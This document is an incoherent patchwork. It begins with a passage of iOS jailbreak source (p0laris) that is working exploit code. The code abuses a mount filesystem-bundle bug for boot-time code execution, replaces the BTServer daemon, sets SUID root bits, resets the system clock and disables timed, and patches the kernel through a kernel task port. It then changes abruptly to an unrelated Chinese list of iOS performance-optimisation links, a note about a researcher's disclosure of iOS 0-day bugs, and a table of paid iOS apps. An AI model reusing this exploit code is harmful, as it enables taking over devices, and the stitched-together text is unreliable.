* /System/Library/Filesystems/hax.fs:
* /System/Library/Filesystems/hax.fs/Contents:
* /System/Library/Filesystems/hax.fs/Contents/Resources:
* /System/Library/Filesystems/hax.fs/Contents/Resources/mount_hax -> symlink to your haxxx
*
* cp -p /sbin/mount to /usr/local/bin/scripter (bypass some sandbox stuff)
* replace a daemon with an executable containing this:
* #!/usr/local/bin/scripter -t hax fake
*
*
*
* the last argument is automatically filled in with the executable path,
* so mount finds an existing path, and attempts to mount "fake" (taken as /fake as it runs in /)
* on that path, with the filesystem hax, which executes our code.
* replace a daemon like wifiFirmwareLoaderLegacy
* either do the same SUID trick, for untethered, sandboxed code exec as mobile (tired)
* or use psychicpaper and get untethered, unsandboxed code exec as root (wired)
* boom, BFU code exec on 9.xish -> 12.xish
*
* BACK TO MY COMMENTS
* i find it a little more smexy to use a symlink and keep
* code_exec_fs.fs in a folder along with the rest of the vuln stuff, so symlinks abound
*/
mkdir("/untether/code_exec_fs.fs", 0755);
mkdir("/untether/code_exec_fs.fs/Contents", 0755);
mkdir("/untether/code_exec_fs.fs/Contents/Resources", 0755);
symlink("/untether/code_exec_fs.fs", "/System/Library/Filesystems/code_exec_fs.fs");
symlink("/untether/code_exec_fs.fs", "/Library/Filesystems/code_exec_fs.fs");
symlink("/untether/p0laris", "/untether/code_exec_fs.fs/Contents/Resources/mount_code_exec_fs");
/*
* i forgot to add you actually need to have
* some data after the shebang, otherwise it won't work.
*/
FILE* fp = fopen("/untether/get_code_exec", "w");
fprintf(fp, "#!/usr/local/bin/scripter -t code_exec_fs untether\n\n\nkek");
fclose(fp);
/*
* chmod'ing for security & being able to execute and shit
*/
chown("/untether/p0laris", 501, 501);
chown("/untether/code_exec_fs.fs/Contents/Resources/mount_code_exec_fs", 501, 501);
chown("/untether/get_code_exec", 501, 501);
chmod("/untether/p0laris", 04755);
chmod("/untether/code_exec_fs.fs/Contents/Resources/mount_code_exec_fs", 04755);
chmod("/untether/get_code_exec", 04755);
/*
* don't remove original wifiFirmwareLoader in case we're re-installing,
* only rename original if the path used for the "backup", so to speak
* exists.
*/
if (!exists("/usr/sbin/BTServer_"))
rename("/usr/sbin/BTServer", "/usr/sbin/BTServer_");
symlink("/untether/get_code_exec", "/usr/sbin/BTServer");
/*
* more chmod'ing
*/
chown("/usr/sbin/BTServer", 501, 501);
chown("/untether/get_code_exec", 501, 501);
chown("/usr/local/bin/scripter", 501, 501);
chmod("/usr/sbin/BTServer", 04755);
chmod("/untether/get_code_exec", 04755);
chmod("/usr/local/bin/scripter", 04755);
/*
* logging, also so the patchfinder can grab offsets from the filesystem,
* instead of patchfinding every time, which is slow...
*/
NSArray *paths = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES);
NSString *documentsDirectory = [paths firstObject];
char* doc_dir = (char*)[documentsDirectory UTF8String];
symlink(doc_dir, "/untether/docs");
#if DO_CSBYPASS
/*
* logs
*/
lprintf("SPV vs CODESIGNING!\n");
lprintf("FIGHT!\n");
/*
* find csbypass in the app container
*/
char* csbypass = bundle_path("csbypass");
/*
* copy it to the untether folder & make it executable
*/
run_cmd("/bin/cp %s /untether/csbypass", csbypass);
run_cmd("chmod 755 /untether/csbypass");
/*
* find game over in the app container
*/
char* game_over_armv7 = bundle_path("game_over_armv7.dylib1");
/*
* copy it to the untether folder & make it executable
*/
run_cmd("/bin/cp %s /untether/game_over_armv7.dylib1", game_over_armv7);
run_cmd("chmod 755 /untether/game_over_armv7.dylib1");
/*
* get time
*/
time_t val = time(NULL);
/*
* write time for offsetting
*/
FILE* fp_ = fopen("/untether/offset", "wb");
fwrite(&val, sizeof(val), 1, fp_);
fclose(fp);
/*
* set time to zero
*/
lprintf("[*] __OFFSET *should* equal %ld", val);
run_cmd("/bin/date -s @0");
/*
* nuke timed
*/
run_cmd("mv /System/Library/LaunchDaemons/com.apple.timed.plist /System/Library/LaunchDaemons/com.apple.timed.plist_");
/*
* 0wn codesigning
*/
_0wn();
/*
* taunting...
*/
lprintf("[*] game over, codesigning. would you like to try again?");
#endif
lprintf("[*] untether should be haxd on now");
/*
* sync, if we're already jailbroken
* and the untether is now triggering,
* we might panic to all hell and back
*/
sync();
sync();
sync();
sync();
sync();
/* todo */
return ret;
}
#else
#error This isn't enabled anymore, censored for public release: the mount bug was chosen. Nice job being curious, though! :)
#endif
#endif
bool extract_bootstrap(void) {
bool re_extracting = false;
bool ret = true;
if (exists("/.p0laris") || exists("/.installed_home_depot")) {
re_extracting = true;
lprintf("k? guess we're re-extracting then. your choice, i guess? ...");
}
progress_ui("getting bundle paths");
char* tar_path = bundle_path("tar");
char* launchctl_path = bundle_path("launchctl");
char* cydia_path = bundle_path("Cydia-9.0r4-Raw.tar");
chmod(tar_path, 0777);
/*
* extract bootstrap
*/
progress_ui("extracting, this might take a while");
chmod(tar_path, 0777);
char* argv_[] = {tar_path, "-xf", cydia_path, "-C", "/", "--preserve-permissions", NULL};
easy_spawn(tar_path, argv_);
/*
* touch cydia_no_stash (disable stashing, not included yet)
*/
progress_ui("disabling stashing");
run_cmd("/bin/touch /.cydia_no_stash");
/*
* copy tar
*/
progress_ui("copying tar");
run_cmd("/bin/cp -p %s /bin/tar", tar_path);
/*
* copy launchctl
*/
progress_ui("copying launchctl");
run_cmd("/bin/cp -p %s /bin/launchctl", launchctl_path);
/*
* make them exectuable
*/
chmod("/bin/tar", 0755);
chmod("/bin/launchctl", 0755);
/*
* i don't remember where this is from, Home Depot / Phoenix?
*/
chmod("/private", 0755);
chmod("/private/var", 0755);
chmod("/private/var/mobile", 0711);
chmod("/private/var/mobile/Library", 0711);
chmod("/private/var/mobile/Library/Preferences", 0755);
mkdir("/Library/LaunchDaemons", 0777);
#if INSTALL_UNTETHER
progress_ui("installing untether");
install_untether();
progress_ui("installed untether");
#endif
if (!exists("/.p0laris")) {
FILE* fp = fopen("/.p0laris", "w");
fprintf(fp, "please don't delete this, the sky will fall and stuff or something\n"
" - p0laris, with love from spv.\n");
fclose(fp);
}
sync();
sync();
sync();
sync();
sync();
return ret;
}
#if DO_CSBYPASS
/*
* codesigning exploit is unfinished
*/
bool csbypass_wrapper(void) {
bool ret = true;
bool _0wnd = _0wn();
lprintf("codesigning 0wnd: %s", _0wnd ? "true" : "false");
sync();
sync();
sync();
sync();
sync();
#if 0
uint32_t* comm_page_time = (uint32_t*)0xffff4048;
while (*comm_page_time < 1000000000) {
usleep(100000);
}
// sleep(2);
#endif
return ret;
}
#endif
bool post_jailbreak(void) {
bool need_uicache = false;
bool ret = true;
if (global_untethered) {
run_cmd("/usr/sbin/BTServer_");
#if DO_CSBYPASS
csbypass_wrapper();
#endif
}
progress_ui("remounting /");
char* nmr = strdup("/dev/disk0s1s1");
int mntr = mount("hfs", "/", 0x10000, &nmr);
lprintf("mount(...); = %d\n", mntr);
#if !FIRST_TIME_OVERRIDE
if (!exists("/.p0laris") && !exists("/.installed_home_depot")) {
#endif
progress_ui("extracting bootstrap");
extract_bootstrap();
need_uicache = true;
#if !FIRST_TIME_OVERRIDE
}
#endif
#if INSTALL_UNTETHER
if (!exists("/untether/p0laris")) {
if (exists("/untether")) {
progress_ui("fixing untether");
} else {
progress_ui("installing untether");
}
install_untether();
}
#endif
/*
* doubleH3lix
*/
progress_ui("fixing springboard");
NSMutableDictionary *md = [[NSMutableDictionary alloc] initWithContentsOfFile:@"/var/mobile/Library/Preferences/com.apple.springboard.plist"];
[md setObject:[NSNumber numberWithBool:YES] forKey:@"SBShowNonDefaultSystemApps"];
[md writeToFile:@"/var/mobile/Library/Preferences/com.apple.springboard.plist" atomically:YES];
progress_ui("restarting cfprefsd");
run_cmd("/usr/bin/killall -9 cfprefsd &");
#if !FIRST_TIME_OVERRIDE
if (need_uicache) {
#endif
progress_ui("running uicache");
run_cmd("su -c uicache mobile &");
#if !FIRST_TIME_OVERRIDE
}
#endif
progress_ui("loading launch daemons");
run_cmd("/bin/launchctl load /Library/LaunchDaemons/*");
run_cmd("/etc/rc.d/*");
progress_ui("respringing");
run_cmd("(killall -9 backboardd) &");
if (!global_untethered) {
#if DO_CSBYPASS
csbypass_wrapper();
#endif
}
return ret;
}
#define DUMP_LENGTH (32 * 1024 * 1024)
bool jailbreak(void) {
#if DUMP_KERNEL
NSString *ns_doc_dir = NULL;
#endif
uint32_t before = -1;
uint32_t after = -1;
#if DUMP_KERNEL
NSArray *paths = NULL;
#endif
#if DUMP_KERNEL
char* open_this = NULL;
char* doc_dir = NULL;
char* dump = NULL;
#endif
bool ret = false;
progress_ui("exploiting kernel");
tfp0 = get_kernel_task();
lprintf("I live in a constant state of fear and misery");
lprintf("Do you miss me anymore?");
lprintf("And I don't even notice when it hurts anymore");
lprintf("Anymore, anymore, anymore");
progress_ui("exploited kernel");
kernel_base = kbase();
kaslr_slide = kernel_base - UNSLID_BASE;
#if DUMP_KERNEL
dump = malloc(DUMP_LENGTH);
dump_kernel(dump, DUMP_LENGTH);
paths = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory,
NSUserDomainMask,
YES);
ns_doc_dir = [paths firstObject];
doc_dir = (char*)[ns_doc_dir UTF8String];
asprintf(&open_this,
"%s/kernel_dump-%ld-0x%08x.bin",
doc_dir,
time(NULL),
kaslr_slide);
FILE *f = fopen(open_this, "w");
fwrite(dump,
1,
(32 * 1024 * 1024),
f);
fclose(f);
zfree(&dump);
goto done;
#endif
#if ENABLE_DEBUG
progress("got tfp0! tfp0=0x%x, kernel_base=0x%08x, kaslr_slide=0x%08x",
tfp0,
kernel_base,
kaslr_slide);
#endif
progress_ui("patching pmap");
patch_kernel_pmap();
progress("patched pmap");
progress_ui("checking pmap patch");
before = kread_uint32(kernel_base);
kwrite_uint32(kernel_base, 0x41424344);
after = kread_uint32(kernel_base);
kwrite_uint32(kernel_base, before);
#if ENABLE_DEBUG
progress("kbase before: 0x%x, kbase after: 0x%x",
before,
after);
#endif
/*
* i commented out "before == 0xfeedface" as at times,
* i will test kernel patches and/or other functionality
* on an already jailbroken device, and don't feel like rebooting.
* also so that you can re-install the untether without rebooting
* after installing the application :P
*/
if (before != after && /* before == 0xfeedface && */ after == 0x41424344) {
progress_ui("pmap patched!");
} else {
progress_ui("pmap patch failed");
goto done;
}
progress_ui("cleaning up the kernel");
exploit_cleanup(tfp0);
progress_ui("patching kernel");
if (!patch_kernel())
goto done;
progress_ui("patched kernel");
progress_ui("doing post jailbreak work");
post_jailbreak();
/*
* note: todo: save original uid in case unsandboxed root daemon
*/
kwrite_uint32(myproc + 0xa4, ourcred);
setuid(501);
#if BTSERVER_USED
if (global_untethered)
run_cmd("launchctl bsexec .. /bin/sh -c \"(while true; do /usr/sbin/BTServer_; done) &\"");
#endif
#if UNPATCH_PMAP
progress("unpatching pmap");
pmap_unpatch();
progress("unpatched pmap");
#endif
ret = true;
zfree(&offsets);
syslog(LOG_SYSLOG, "we out here");
done:
progress_ui("cleaning up");
exploit_cleanup(tfp0);
return ret;
}
bool _jailbreak(void) {
return jailbreak();
}
```
## iOS 性能优化梳理:
### 基本工具、业务优化、内存优化、卡顿优化、布局优化、电量优化、 安装包瘦身、启动优化、网络优化等
#### iOS 官方文档
* [Performance 专题](https://developer.apple.com/library/content/navigation/#section=Topics&topic=Performance)
* [Core Animation Programming Guide](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreAnimation_guide)
#### iOS 性能优化相关书籍
* [Pro iOS Apps Performance Optimization](http://download.csdn.net/detail/tskyming/9831453)
* [High Performance iOS Apps](http://download.csdn.net/detail/tskyming/9831465)
* [iOS-Core-Animation-Advanced-Techniques](https://github.com/AttackOnDobby/iOS-Core-Animation-Advanced-Techniques)
#### Instruments 工具相关
* [Instruments User Guide](https://developer.apple.com/library/content/documentation/DeveloperTools/Conceptual/InstrumentsUserGuide/index.html) [中文翻译-PDF](http://cdn.cocimg.com/bbs/attachment/Fid_6/6_24457_90eabb4ed5b3863.pdf)
* [Instruments之Leaks学习](http://www.cnblogs.com/lxlx1798/p/6933485.html)
* [Instruments学习之Allocations](http://www.cnblogs.com/lxlx1798/p/6933195.html)
* [instrument之Time Profiler总结](http://www.cnblogs.com/lxlx1798/p/6933604.html)
* [Instruments学习之Core Animation学习](http://www.cnblogs.com/lxlx1798/p/6933364.html)
* [Instruments之Activity Monitor使用入门](http://www.cnblogs.com/lxlx1798/p/6933141.html)
#### GMTC-2018 PPT
* [LinkedIn移动应用的性能优化之道](https://ppt.geekbang.org/slide/show?cid=31&pid=1495)
* [美团客户端监控与异常排查实践](https://ppt.geekbang.org/slide/show?cid=31&pid=1500)
* [爱奇艺APP极致体验之路](https://ppt.geekbang.org/slide/show?cid=31&pid=1497)
* [大前端时代前端监控的最佳实践](https://ppt.geekbang.org/slide/show?cid=31&pid=1496)
* [性能优化与监控专题PPT](https://gmtc.infoq.cn/2019/beijing/)
#### 综合篇
* [WWDC2012-235-iOS APP Performance:Responsiveness](https://developer.apple.com/videos/play/wwdc2012/235)
* [微信读书iOS性能优化](http://wereadteam.github.io/2016/05/03/WeRead-Performance/)
* [微信读书 iOS 质量保证及性能监控](http://wereadteam.github.io/2016/12/12/Monitor/)
* [深入剖析 iOS 性能优化](https://ming1016.github.io/2017/06/20/deeply-ios-performance-optimization/)
* [魔窗研发副总裁沈哲:移动端SDK的优化之路](http://blog.csdn.net/magicwindow/article/details/51423463)
* [搜狗输入法 iOS 版开发与优化实践](http://www.cocoachina.com/design/20160905/17483.html)[PPT](https://github.com/MDCC2016/iOS-Session-Slides/blob/master/%E6%90%9C%E7%8B%97%E8%BE%93%E5%85%A5%E6%B3%95%E6%80%A7%E8%83%BD%E4%BC%98%E5%8C%96%E5%AE%9E%E8%B7%B5-%E6%9D%8E%E8%85%BE%E6%9D%B0.pdf)
* [蘑菇街 App 的稳定性与性能实践](http://www.infoq.com/cn/presentations/stability-and-performance-of-mogujie-app)[PPT](https://sanwen8.cn/p/6e5c888.html)
* [⼿淘iOS性能优化探索](http://pstatic.geekbang.org/pdf/593a53d813cef.pdf?e=1497499485&token=eHNJKRTldoRsUX0uCP9M3icEhpbyh3VF9Nrk5UPM:sa-xp_aIeIhtiWbqR-hY4ImMzFc=)
* [iOS App 稳定性指标及监测](https://juejin.im/post/58ca0832a22b9d006418fe43)
#### 内存优化
* [Memory Usage Performance Guidelines](https://developer.apple.com/library/content/documentation/Performance/Conceptual/ManagingMemory/ManagingMemory.html#//apple_ref/doc/uid/10000160i)
* [WWDC-2018-416](https://developer.apple.com/videos/play/wwdc2018/416/)[中文翻译](https://juejin.im/post/5b23dafee51d4558e03cbf4f)
* [探索iOS内存分配](https://juejin.im/post/5a5e13c45188257327399e19)
* [iOS微信内存监控](http://wetest.qq.com/lab/view/367.html?from=content_juejin)
* [内存管理及优化(上)-QQ浏览器](https://www.imooc.com/video/11075)
* [内存管理及优化(下)-QQ浏览器](https://www.imooc.com/video/11076)
* [OOM探究:XNU 内存状态管理](https://www.jianshu.com/p/4458700a8ba8)
#### 卡顿优化
* [UIKit性能调优实战讲解](http://www.cocoachina.com/ios/20160208/15238.html?utm_source=tuicool&utm_medium=referral)
* [QQ空间掉帧率优化实战](http://wetest.qq.com/lab/view/354.html)
* [实现 60fps 的网易云音乐首页](https://mp.weixin.qq.com/s?__biz=MzA4MzEwOTkyMQ==&mid=2667379069&idx=1&sn=376d9ef2261cf13e930406f1c35d3569)
* [iOS 保持界面流畅的技巧](http://blog.ibireme.com/2015/11/12/smooth_user_interfaces_for_ios/)
* [iOS UI性能优化总结](http://www.cocoachina.com/ios/20180412/22990.html)
* [微信iOS卡顿监控系统](http://mp.weixin.qq.com/s?__biz=MzAwNDY1ODY2OQ%3D%3D&idx=1&mid=207890859&scene=23&sn=e98dd604cdb854e7a5808d2072c29162&srcid=0921FzoCw9j1W7n4uFYKuarC#rd)
* [iOS-卡顿检测](http://www.cnblogs.com/gatsbywang/p/5555200.html)
* [iOS监控:卡顿检测](http://ios.jobbole.com/93085/)
* [iOS应用UI线程卡顿监控](https://mp.weixin.qq.com/s?__biz=MzI5MjEzNzA1MA==&mid=2650264136&idx=1&sn=052c1db8131d4bed8458b98e1ec0d5b0&chksm=f406837dc3710a6b49e76ce3639f671373b553e8a91b544e82bb8747e9adc7985fea1093a394#rd)
#### 布局优化
TODO:
#### 电量优化
* [Guide - Energy Efficiency Guide for iOS Apps](https://developer.apple.com/library/content/documentation/Performance/Conceptual/EnergyGuide-iOS/index.html#//apple_ref/doc/uid/TP40015243)
* [WWDC2017 - Writing Energy Efficient Apps](https://developer.apple.com/videos/play/wwdc2017/238/)
* [iOS 常见耗电量检测方案调研](https://github.com/ChenYilong/iOSBlog/issues/10)
* [教你开发省电的 iOS app(WWDC17 观后)](http://www.jianshu.com/p/f0dc653d04ca)
* [浅析移动蜂窝网络的特点及其省电方案](https://juejin.im/post/5a0c5af051882578da0d6925)
* [iOS电量测试实践](https://mp.weixin.qq.com/s/q39BHIWsbdNeqfH85EOkIQ)
* [iOS进阶--App功耗优化看这篇就够了](http://www.cocoachina.com/ios/20171204/21413.html)
#### 启动优化
* [WWDC2016-406-Optimizing App Startup Time](https://developer.apple.com/videos/play/wwdc2016/406)
* [WWDC2017-413-App Startup Time:Past,Present,and Future](https://developer.apple.com/videos/play/wwdc2017/413)
* [如何精准度量iOSAPP启动时间](https://www.jianshu.com/p/c14987eee107)
* [优化 App 的启动时间-杨萧玉](http://yulingtianxia.com/blog/2016/10/30/Optimizing-App-Startup-Time)
* [iOS客户端启动速度优化-今日头条](https://techblog.toutiao.com/2017/01/17/iosspeed/#more)
* [iOS App 启动性能优化-WiFi管家](https://mp.weixin.qq.com/s/Kf3EbDIUuf0aWVT-UCEmbA)
* [iOS App如何优化启动时间-Facebook](http://www.cocoachina.com/ios/20160104/14870.html)
* [iOS 启动速度优化-百度输入法](http://www.infoq.com/cn/presentations/ios-typewriting-start-speed-optimization)
* [obj中国-Mach-O 可执行文件](https://objccn.io/issue-6-3/)
* [iOS app启动速度研究实践](https://zhuanlan.zhihu.com/p/38183046?from=1086193010&wm=3333_2001&weiboauthoruid=1690182120)
* [iOS App冷启动治理:来自美团外卖的实践](https://mp.weixin.qq.com/s/jN3jaNrvXczZoYIRCWZs7w)
* [脉脉iOS如何启动秒开](https://zhuanlan.zhihu.com/p/396550853)
#### 体积优化
* [iOS微信安装包瘦身](http://mp.weixin.qq.com/s?__biz=MzAwNDY1ODY2OQ==&mid=207986417&idx=1&sn=77ea7d8e4f8ab7b59111e78c86ccfe66&scene=24&srcid=0921TTAXHGHWKqckEHTvGzoA#rd)
* [今日头条IPA安装包的优化](https://techblog.toutiao.com/2016/12/27/iphone/)
* [iOS瘦身之删除FrameWork中无用mach-O文件](http://www.infoq.com/cn/articles/ios-thinning-delete-unnecessary-mach-o)
* [基于clang插件的一种iOS包大小瘦身方案](http://www.infoq.com/cn/articles/clang-plugin-ios-app-size-reducing)
* [iOS可执行文件瘦身方法](http://blog.cnbang.net/tech/2544/)
* [iOS图片优化方案](http://crespoxiao.github.io/2016/11/12/iOS%E5%9B%BE%E7%89%87%E4%BC%98%E5%8C%96%E6%96%B9%E6%A1%88/)
* [滴滴出行 iOS 端瘦身实践的 Slides](https://ming1016.github.io/2017/06/12/gmtc-ios-slimming-practice/)
#### 网络优化
* [美团点评移动网络优化实践](http://tech.meituan.com/SharkSDK.html)
* [开源版HttpDNS方案详解](http://mp.weixin.qq.com/s?__biz=MzAwMDU1MTE1OQ==&mid=209805123&idx=1&sn=ced8d67c3e2cc3ca38ef722949fa21f8)
* [携程App的网络性能优化实践](http://www.infoq.com/cn/articles/how-ctrip-improves-app-networking-performance)
* [2016年携程App网络服务通道治理和性能优化实践](http://www.infoq.com/cn/articles/app-network-service-and-performance-optimization-of-ctrip)
* [蘑菇街App Chromium网络栈实践](http://www.infoq.com/cn/articles/mogujie-app-chromium-network-layer)
* [蘑菇街高并发多终端无线网关实践](http://www.infoq.com/cn/presentations/mogujie-high-concurrent-multi-terminal-wireless-gateway-practice)
* [移动 APP 网络优化概述](http://blog.cnbang.net/tech/3531/?hmsr=toutiao.io&utm_medium=toutiao.io&utm_source=toutiao.io)
#### 编译优化
* [Optimizing-Swift-Build-Times](https://github.com/fastred/Optimizing-Swift-Build-Times)
#### APM
* [移动端监控体系之技术原理剖析](http://ios.jobbole.com/92988/)
* [网易 - NeteaseAPM iOS SDK技术实现分享](http://mp.weixin.qq.com/s?__biz=MzA3ODg4MDk0Ng==&mid=2651112215&idx=1&sn=9cc5b5fa630542a6d4b7a5626e35217a#rd)
* [网易乐得 - iOS无埋点数据SDK实践之路](http://www.jianshu.com/p/69ce01e15042)
* [听云 - 移动端 APM 产品研发技能](http://www.infoq.com/cn/presentations/mobile-terminal-apm-product-development-skills)
* [听云 - 移动 App 性能监测](http://www.infoq.com/cn/presentations/mobile-app-performance-monitoring-practice?utm_source=presentations_about_mobile&utm_medium=link&utm_campaign=mobile)
* [iOS 性能监控 SDK —— Wedjat(华狄特)开发过程的调研和整理](https://github.com/aozhimin/iOS-Monitor-Platform)
* [揭秘 APM iOS SDK 的核心技术](https://github.com/iOS-APM/iOS-APM-Secrets)
* [iOS-Monitor-Resources](https://github.com/aozhimin/iOS-Monitor-Resources)
* [iOS 流量监控分析](https://juejin.im/post/5b1602906fb9a01e3542f08c)
* [小试Xcode逆向:app内存监控原理初探](http://ddrccw.github.io/2017/12/30/reverse-xcode-with-lldb-and-hopper-disassembler)
* [APMCon-2016演讲实录](http://apmcon.cn/2016/index.html#yjsl)
* [360移动端性能监控实践QDAS-APM(iOS篇)](https://mp.weixin.qq.com/s/Vq0TDiLbexxBlqlf_lilnQ)
* [移动端性能监控方案Hertz](https://tech.meituan.com/2016/12/19/hertz.html)
#### 调试 & Crash
* [iOS 项目开发过程中用到的高级调试技巧,涉及三方库动态调试、静态分析和反编译等领域](https://github.com/aozhimin/iOS-Debug-Hacks)
* [Understanding and Analyzing Application Crash Reports](https://developer.apple.com/library/content/technotes/tn2151/_index.html)
#### 相关开源库
##### 网络
* [HTTPDNSLib-for-iOS](https://github.com/CNSRE/HTTPDNSLib-for-iOS)
* [HTTPDNSLib-for-Andorod](https://github.com/CNSRE/HTTPDNSLib)
* [NetworkEye](https://github.com/coderyi/NetworkEye/blob/master/README_Chinese.md)
##### 内存
* [FBMemoryProfiler](https://github.com/facebook/FBMemoryProfiler)
* [iOS Memory Budget Test](https://github.com/Split82/iOSMemoryBudgetTest)
##### 卡顿
* [PerformanceMonitor-Runloop](https://github.com/suifengqjn/PerformanceMonitor)
* [GYMonitor-FPS](https://github.com/featuretower/GYMonitor)
##### 瘦身
* [LSUnusedResources](https://github.com/tinymind/LSUnusedResources)
* [LinkMap](https://github.com/huanxsd/LinkMap)
#### APM
* [iOS-System-Services](https://github.com/iOS-APM/iOS-System-Services)
* [System Monitor](https://github.com/iOS-APM/SystemMonitor)
* [PerformanceTestingHelper](https://github.com/ArmsZhou/PerformanceTestingHelper)
* [GT](https://github.com/Tencent/GT)
* [GodEye](https://github.com/zixun/GodEye)
* [ArgusAPM](https://github.com/Qihoo360/ArgusAPM)
* [AppleTrace](https://github.com/everettjf/AppleTrace)
* [matrix](https://github.com/Tencent/matrix)
* [MTHawkeye](https://github.com/meitu/MTHawkeye)
# -----------------------------------
## 关于4个 0day iOS 漏洞
Denis Tokarev 发表文章公开披露 4 个 0-day iOS 漏洞,
吐槽苹果没有署名感谢,最关键是苹果没有给赏金!
作者怒了, 一口气开源4个漏洞 https://github.com/illusionofchaos/ios-nehelper-wifi-info-0day
以下是作者披露文章:
文章: Disclosure of three 0-day iOS vulnerabilities and critique of Apple Security Bounty program / Хабр
https://habr.com/ru/post/579714/
# -----------------------------------
二、事件始末
从 Twitter 可知 illusionofchaos 为化名的研究人员真名是 Denis Tokarev(丹尼斯·托卡列夫),
目前关于 Denis Tokarev 个人资料并不多,通过其使用俄语的网页披露漏洞,猜测他是俄罗斯人。
作者称在今年 3 月 10 日 ~ 5 月 4 日之间给苹果报告了 4 个 0-day 漏洞,
只在 iOS 14.7 修复了一个,但苹果在iOS 14.7 安全性内容
更新页面并没有披露出来!当作者向苹果(Apple Product Security)提出质疑时,他们承诺在下一次系统版本更新的页面中列出,
但此后的三次版本发布都没有列出。所以作者怒了!决定披露出来!
0-day 漏洞
0day,zero-day vulnerability,0-day vulnerability,零日漏洞或零时差漏洞。
# -----------------------------------
## `iOS`平台付费软件篇 (iOS)
评分 | 名称 | 功能简述 | 单价 | 测评
----- | ----- | ------ | ----- | -----
★★★★ | [Camera+] | 替代原生拍照软件 | $1.99 | [#](http://iphone.appstorm.net/reviews/graphics/camera-4-an-almost-perfect-camera-app/)
★★★★ | [1Password] | 密码管理&同步 | $17.99 | [#](http://mac.appstorm.net/reviews/security/1password-4-is-hands-down-the-best-password-app/)
★★★★ | [Tweetbot] | Twitter 客户端 | $2.99 | [#](http://www.macstories.net/reviews/tweetbot-3-review-human-after-all/)
★★★★ | [Weico Pro] | 新浪微博第三方客户端 | ¥6 | [#](http://sspai.com/24186)
★★★★ | [iTranslate Voice] | 翻译利器 | $4.99 | [#](http://www.idownloadblog.com/2013/07/03/itranslate-voice-2/)
★★★★ | [Launch Center Pro] | 快速启动&书签 | $4.99 | [#](http://www.macstories.net/reviews/launch-center-pro-2-0-review/)
★★★★ | [Clear+] | 轻量级 To-Do List | $4.99 | [#](http://www.macworld.com/article/2048920/clear-for-ios-7-review-slick-to-do-list-app-gets-bigger-slicker.html)
★★★★ | [Drafts 4] | 文字生产力 | $9.99 | [#](http://www.macstories.net/ios/drafts-4-1-and-merging-notes/)
★★★★ | [MoneyWiz 2] | 记账软件 | $4.99 | [#](http://sspai.com/28132)
★★★☆ | [Todo] | 重量级 To-Do GTD | $4.99 | [#](http://www.imore.com/todo-7-ios-review-brand-new-look-and-great-new-experience)
★★★☆ | [Reeder] | RSS阅读器 | $4.99 | [#](http://www.macstories.net/reviews/reeder-2-review-2/)
★★★☆ | [Omnifocus] | 还是那个GTD | $19.99 | [#](http://www.imore.com/omnifocus-2-iphone-review-completely-redesigned-ios-7-easier-use-ever)
★★★☆ | [Fantastical] | 日历和提醒工具 | $3.99 | [#](http://www.macworld.com/article/2058681/fantastical-2-for-iphone-review-calendar-app-gets-more-fantastic-for-ios-7.html)
★★★☆ | [GoodReader] | 文档管理、阅读工具 | $4.99 | [#](http://www.macworld.com/product/460078/goodreader-for-ipad.html)
★★★ | [Sleep Cycle] | 智能闹钟 | $1.99 | [#](http://mymorningroutine.com/sleep-cycle-review/)
★★★ | [Afterlight] | 照片处理软件 | $0.99 | [#](http://ipad.appstorm.net/reviews/photography-reviews/afterlight-simple-subtle-photo-editing-brilliance/)
★★★ | [Moves] | 健康计步类| $2.99 | [#](http://www.trustedreviews.com/moves_Mobile-App_review)
★★★ | [TextExpander] | 快速输入/扩展增强工具 | $4.99 | [#](http://www.macstories.net/reviews/textexpander-touch-2-0-brings-fill-in-snippets-formatted-text-to-ios/)
★★★ | [Pastebot] | 云剪切板 | $3.99 | [#](http://www.macstories.net/reviews/pastebot-iphone-review/)
★★★ | [Byword] | Markdown写作 | $4.99 | [#](http://iphone.appstorm.net/reviews/productivity/byword-2-1-beautiful-markdown-for-ios-7/)
★★★ | [Day One] | 日记软件 | $4.99 | [#](http://www.macstories.net/tag/day-one/)
★★★ | [Solar Walk] | 太阳系模型 | $2.99 | [#](http://reviews.cnet.com/8301-19512_7-57539611-233/coolest-app-ive-seen-all-month-solar-walk/)
★★★ | [OmniGraffle] | 制图制表 | $49.99 | [#](http://mac.appstorm.net/reviews/graphics/omnigraffle-6-a-huge-leap-for-the-mac-diagraming-app-2/)
★★★ | [随手记专业版] | 记账软件 | ¥6 | [#](http://digi.tech.qq.com/a/20111107/000548_1.htm)
★★★ | [DailyCost] | 记账软件 | $1.99 | [#](http://iphone.appstorm.net/reviews/business-finance/dailycost-tracking-your-spending-just-got-beautiful/)
★★★ | [Splashtop] | 用iOS远程控制计算机 | $9.99 | [#](http://www.macworld.com/article/2030876/review-splashtop-2-a-free-innovative-remote-desktop-mac-ios-app-with-issues.html)
★★★ | [Things] | 还是GTD | $9.99 | [#](http://www.idownloadblog.com/2013/10/15/todo-7-review/)
★★★ | [Runtastic Pro] | 跑步健康类 | $4.99 | [#](http://theruniverse.com/2012/07/review-runtastic-pro-gps-iphone-app/)
★★★ | [Wolfram] | 计算和知识库 | $2.99 | [#](http://lifehacker.com/tag/wolfram-alpha)
★★★ | [Solar] | 精美天气应用 | $0.99 | [#](http://www.imore.com/solar-weather-iphone-review)
★★★ | [Writer Pro] | 个人写作软件 | $19.99 | [#](http://www.imore.com/writer-pro-now-available-app-store-both-mac-and-ios)
★★★ | [Editorial] | MarkDown书写软件 | $6.99 | [#](http://www.macstories.net/stories/editorial-for-ipad-review/)
★★★ | [Notability] | 日记软件 | $2.99 | [#](http://www.laptopmag.com/reviews/note-taking-apps/notability.aspx)
★★★ | [Gneo] | GTD:To-do类 | $9.99 | [#](http://appadvice.com/review/quickadvice-gneo)
★★★ | [Mextures] | 照片效果处理软件 | $1.99 | [#](http://reviews.cnet.com/software/mextures-ios/4505-3513_7-35782639.html)
★★★ | [Vesper] | 收集想法笔记 | $4.99 | [#](http://www.macstories.net/reviews/vesper-review-collect-your-thoughts/)
★★★ | [TeeVee] | 追美剧、TV Show等 | $1.99 | [#](http://www.imore.com/teevee-2-iphone-can-track-your-favorite-shows-and-alert-you-when-new-episode-airing)
★★★ | [Air Display] | 用iOS设备做为扩展屏 | $9.99 | [#](http://www.148apps.com/reviews/air-display-2-review/)
★★★ | [Instaframe Pro] | 多图合一,拼合工具 | $1.99 | [#](http://www.148apps.com/reviews/instaframe-pro-review/)
